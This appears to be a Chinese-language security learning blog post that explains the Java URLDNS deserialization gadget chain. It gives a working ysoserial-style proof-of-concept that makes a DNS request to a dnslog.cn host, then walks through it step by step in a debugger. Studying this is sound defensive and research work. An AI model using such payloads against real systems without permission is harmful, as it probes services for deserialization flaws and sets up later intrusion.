URLDNS反序列化链学习
URLDNS
URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包。
1、利用链
*Gadget Chain:
*HashMap.readObject()
*HashMap.putVal()
*HashMap.hash()
*URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
其实看这个利用链我们就能发现其实跟cc6的利用是差不多的。
2、POC 2.1、漏洞复现
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
String url="http://wmm760.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
// HashMap that will contain the URL
URL u = new URL(null, url, handler);
// URL to use as the Key
ht.put(u, url);
//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(u, -1);
serialize(ht);
unserialize();
}
static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {
return null;
}protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
文章图片
2.2、POC分析
其实创建了一个空的URLStreamHandler,把它放进我们的创建的URL类(放着我们的验证dnslog),再把 他们放进HashMap,通过反射去修改URL的hashCode属性为-1。
String url="http://wmm760.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
// HashMap that will contain the URL
URL u = new URL(null, url, handler);
// URL to use as the Key
ht.put(u, url);
//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(u, -1);
URLStreamHandler
我们看第一段的URLStreamHandler类的hashcode方法,他会把我们的传进去的URL通过getHostAddress触发,我们现在需要查找哪里调用了URLStreamHandler的hashCode()
文章图片
URL
在URL类中的hashCode方法,如果hashCode不等于-1,就会直接返回,这就是我们为什么要反射 设置hashCode为-1的原因,handler其实就是我们在URL构造方法传入的URLStreamHandler,所以这里调用的是URLStreamHandler的hashCode方法,并且this就是我们的通过构造方法传入的URL类。再往上找哪里调用hashCode方法,这时我们就可以想到cc6链的运用了。
文章图片
那就是HashMap
HashMap的hash方法会用传入的key去调用key的hashcode方法,所以我们只要把URL类传给HashMap的key就可以了。
文章图片
再通过readObject的putVal调用即可
文章图片
2.3、POC调试
首先我们在HashMap的readObject打下断点,可以看到key就是我们的URL类,value是一个"恶意网址",用于条件判断
文章图片
进入到HashMap的hash方法,调用key的hashCode方法就是调用URL的hashCode方法,继续跟进
文章图片
handler就是URLStreamHandler,在new URL()传入的,this是本类URL类,继续跟进
文章图片
【URLDNS反序列化链学习】URLStreamHandler的hashCode方法,他会调用getHostAddress方法,该方法会去远程请求,多说一句也是我们审计用来审计ssrf漏洞的常用函数
文章图片
在这句代码会请求两三秒的样子,dnslog成功收到。
文章图片
2.4、结尾
总体来说这条链是比较简单的,但是就是不能够执行命令
参考链接
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
推荐阅读
- CommonsCollection7反序列化链学习
- Java|Java序列化和反序化
- python|DRF 多对一反向查找 序列化
- CommonsCollection4反序列化链学习
- Docker容器下运行Nginx并实现反向代理
- C#复杂XML反序列化为实体对象两种方式
- dll反编译(修改引用文件、修改代码)再生成dll
- Python文件的应用之序列化与反序列化详解
- 序列化多表操作、请求与响应、视图组件(子类与拓展类)、继承GenericAPIView类重写接口
- CommonCollection1反序列化学系